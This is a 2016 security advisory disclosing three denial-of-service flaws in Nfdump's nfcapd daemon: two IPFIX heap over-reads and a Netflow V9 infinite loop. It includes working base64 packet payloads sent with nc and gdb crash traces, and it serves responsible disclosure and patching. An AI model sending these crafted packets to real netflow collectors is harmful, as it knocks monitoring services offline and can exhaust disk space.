security-assessment.com

Vulnerability Advisory

Name	Nfdump nfcapd Multiple Vulnerabilities
Vendor Website	https://github.com/phaag/nfdump
Affected Software	Nfdump 1.6.14
Date Released	10/05/2016
Researchers	Denis Andzakovic

Description

This document details multiple vulnerabilities found within the nfcapd netflow daemon. An unauthenticated attacker may leverage these vulnerabilities to trigger a denial of service condition within the nfcapd daemon. Two read based heap overflow vulnerabilities were found within the IPFIX processing code and one logic based denial of service was found in the Netflow V9 processing code.

Exploitation

Process_ipfix_template_add heap overflow

By tampering the `flowset_length` parameter within an IPFIX packet, an attacker can trigger a denial of service condition within nfcapd. Line 931 in file `ipfix.c` decrements the `size_left` value by 4, and by triggering a condition where the initial value is less than 4 (1, in the below POC**)** an integer underflow occurs. This wraps the `size_left` value (used to indicate how much of the packet is left to be processed) to 4294967293, resulting in nfcapd continuously processing the heap-based buffer allocated for the input packet (allocated at line 381 of `nfcapd.c`) until it eventually hits invalid memory and crashes with a segmentation fault.

The following POC can be used to trigger the issue:

Proof of Concept

```
echo "AAoABQAAAAAAAAAAAAAAAACAAUAAAABAA==" | base64 -d | nc -u 127.0.0.1 <port>
```

Proof of Concept - Crash

```
Add extension: 2 byte input/output interface index
Add extension: 4 byte input/output interface index
Add extension: 2 byte src/dst AS number
Add extension: 4 byte src/dst AS number
Bound to IPv4 host/IP: any, Port: 555
Standard setsockopt, SO_RCVBUF is 212992 Requested length is 200000 bytes
System set setsockopt, SO_RCVBUF to 400000 bytes
Startup.

Program received signal SIGSEGV, Segmentation fault.
Process_ipfix_template_add (fs=<optimized out>, size_left=4294844261, DataPtr=0x643000, exporter=<optimized out>) at ipfix.c:934
934                     count = ntohs(ipfix_template_record->FieldCount);
(gdb) bt
#0  Process_ipfix_template_add (fs=<optimized out>, size_left=4294844261, DataPtr=0x643000, exporter=<optimized out>) at ipfix.c
#1  Process_ipfix_templates (fs=0x622040, size_left=1, flowset_header=0x624f60, exporter=0x622500) at ipfix.c:900
#2  Process_IPFIX (in_buff=in_buff@entry=0x624f50, in_buff_cnt=in_buff_cnt@entry=25, fs=fs@entry=0x622040) at ipfix.c:1705
#3  0x00000000004043a2 in run (receive_packet=<optimized out>, report_seq=<optimized out>, do_xstat=0, compress=0, time_extensio
    use_subdirs=7, t_begin=<optimized out>, twin=300, peer=..., socket=3) at nfcapd.c:704
#4  main (argc=<optimized out>, argv=<optimized out>) at nfcapd.c:1228
(gdb) x/i $pc
=> 0x416933 <Process_IPFIX+1459>:       movzx  r15d,WORD PTR [r14+0x2]
(gdb) x/x $r14
0x643000:       Cannot access memory at address 0x643000
(gdb) p size_left
$8 = 4294844261
```

Process_ipfix_option_templates heap overflow

By submitting an IPFIX packet with a flowset id of 3 and a large `scope_field_count` parameter, nfcapd will continuously process the heap-based buffer allocated for the packet, eventually hitting invalid memory and crashing with a segmentation fault. The `scope_field_count` is taken directly from the packet (line 1108, `ipfix.c`) and is subsequently used in the `for` loop processing the packet contents (line 1138, `ipfix.c`)

The following POC can be used to replicate the issue:

Proof of Concept

```
echo "AAoAAQAAAAAAAAAAAAAAAAADAAoA/wAA//8AAAAAAAA=" | base64 -d | nc -u 127.0.0.1
<port>
```

Proof of Concept - Crash

```
Add extension: 2 byte input/output interface index
Add extension: 4 byte input/output interface index
Add extension: 2 byte src/dst AS number
Add extension: 4 byte src/dst AS number
Bound to IPv4 host/IP: any, Port: 555
Standard setsockopt, SO_RCVBUF is 212992 Requested length is 200000 bytes
System set setsockopt, SO_RCVBUF to 400000 bytes
Startup.

Program received signal SIGSEGV, Segmentation fault.
Process_ipfix_option_templates (exporter=<optimized out>, fs=0x622040, option_template_flowset=0x624f60) at ipfix.c:1143
1143                    id         = Get_val16(DataPtr); DataPtr += 2;
(gdb) bt
#0  Process_ipfix_option_templates (exporter=<optimized out>, fs=0x622040, option_template_flowset=0x624f60) at ipfix.c:1
#1  Process_IPFIX (in_buff=in_buff@entry=0x624f50, in_buff_cnt=in_buff_cnt@entry=32, fs=fs@entry=0x622040) at ipfix.c:171
#2  0x00000000004043a2 in run (receive_packet=<optimized out>, report_seq=<optimized out>, do_xstat=0, compress=0, time_e
    use_subdirs=7, t_begin=<optimized out>, twin=300, peer=..., socket=3) at nfcapd.c:704
#3  main (argc=<optimized out>, argv=<optimized out>) at nfcapd.c:1228
(gdb) x/i $pc
=> 0x416704 <Process_IPFIX+900>:        movzx  ebx,BYTE PTR [rax]
(gdb) x/x $rax
0x643002:       Cannot access memory at address 0x643002
```

Process_v9_data Infinite Loop

By sending a crafted packet, an attacker can cause the nfcapd daemon to enter an infinite loop. As well as consuming a considerable amount of processing power, this infinite loop will eventually exhaust all available disk space. Once disk space is exhausted, the nfcapd daemon will exit.

The infinite loop is triggered due to the `table->input_record_size` variable being set to zero. As the `Process_v9_data` method processes the packet, `table->input_record_size` is subtracted from the `size_left` variable, with the intention being that once `size_left` is zero the processing is concluded. As `size_left` is being decremented by zero each loop, this while loop (line 1529, `netflow_v9.c`) runs infinitely.

The following POC can be used to trigger the issue:

Proof of Concept

```
echo "AAkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAUBAAAAAAAAAAAAAAAAAAAAAAQAAAYA/w==" | base64 -d
| nc -u 127.0.0.1 <port>
```

Solution

Upgrade to the latest Nfdump codebase (commit 6ef51a7405797289278b36a9a7deabb3cb64d80c or later)

Timeline

12/03/2016 – Advisory sent to Peter Haag
19/03/2016 – Advisory acknowledged
07/05/2016 – Additional information requested
07/05/2016 – Updated version released on GitHub.
10/05/2016 – Advisory release

Responsible Disclosure Policy

Security-Assessment.com follow a responsible disclosure policy.

About Security-Assessment.com

Security-Assessment.com is a leading team of Information Security consultants specialising in providing high quality Information Security services to clients throughout the Asia Pacific region. Our clients include some of the largest globally recognised companies in areas such as finance, telecommunications, broadcasting, legal and government. Our aim is to provide the very best independent advice and a high level of technical expertise while creating long and lasting professional relationships with our clients.

Security-Assessment.com is committed to security research and development, and its team continues to identify and responsibly publish vulnerabilities in public and private software vendor's products. Members of the Security-Assessment.com R&D team are globally recognised through their release of whitepapers and presentations related to new security research.

For further information on this issue or any of our service offerings, contact us:
Web www.security-assessment.com
Email info@security-assessment.com
Phone +64 4 470 1650